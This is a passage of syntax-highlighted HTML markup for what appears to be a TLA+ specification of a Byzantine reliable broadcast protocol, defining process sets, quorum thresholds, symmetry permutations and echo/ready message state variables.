&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Honest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;correct&lt;/span&gt; &lt;span class="n"&gt;processes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;Byzantine&lt;/span&gt; &lt;span class="n"&gt;processes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;may&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;empty&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;V&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;valid&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Sentinel&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;yet&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;NULL&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;∅&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Arbitrary&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;symmetric&lt;/span&gt; &lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="n"&gt;choice&lt;/span&gt; &lt;span class="n"&gt;irrelevant&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Command&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;CHOOSE&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Definitions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;all&lt;/span&gt; &lt;span class="n"&gt;processes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Cardinality&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;processes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;F&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Cardinality&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Faulty&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;Byzantine&lt;/span&gt; &lt;span class="n"&gt;processes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Thresholds&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Q&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;F&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;standard&lt;/span&gt; &lt;span class="n"&gt;quorum&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="n"&gt;when&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Qo&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="err"&gt;÷&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;F&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;optimistic&lt;/span&gt; &lt;span class="n"&gt;quorum&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Qa&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;F&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;amplification&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ASSUME&lt;/span&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;F&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;∩&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;IsFiniteSet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;IsFiniteSet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Faulty&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;IsFiniteSet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;V&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Symmetry&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;combine&lt;/span&gt; &lt;span class="n"&gt;permutations&lt;/span&gt; &lt;span class="n"&gt;across&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CombinePerm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ph&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;↦&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;ph&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;pf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;pv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Sym&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;CombinePerm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ph&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ph&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Permutations&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;pf&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Permutations&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Faulty&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;pv&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Permutations&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;V&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Broadcaster&lt;/span&gt; &lt;span class="n"&gt;candidates&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;one&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;each&lt;/span&gt; &lt;span class="n"&gt;type&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;symmetry&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;OneHonest&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;CHOOSE&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;OneFaulty&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;CHOOSE&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Protocol&lt;/span&gt; &lt;span class="n"&gt;State&lt;/span&gt; &lt;span class="n"&gt;Variables&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;VARIABLES&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;broadcaster&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Distinguished&lt;/span&gt; &lt;span class="n"&gt;leader&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="n"&gt;party&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sent_init&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sent_echo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;sent_ready&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;P&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt; &lt;span class="n"&gt;broadcaster&lt;/span&gt; &lt;span class="n"&gt;equivocation&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;faulty_equivoc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;SUBSET&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="n"&gt;partition&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;faulty&lt;/span&gt; &lt;span class="n"&gt;broadcaster&lt;/span&gt; &lt;span class="n"&gt;equivocation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;Per&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;recipient&lt;/span&gt; &lt;span class="n"&gt;receive&lt;/span&gt; &lt;span class="n"&gt;tracking&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;based&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_init_v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;}]:&lt;/span&gt; &lt;span class="n"&gt;INIT&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="n"&gt;received&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rcvd_echo_cnt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;0.&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="p"&gt;]]:&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;ECHOs&lt;/span&gt; &lt;span 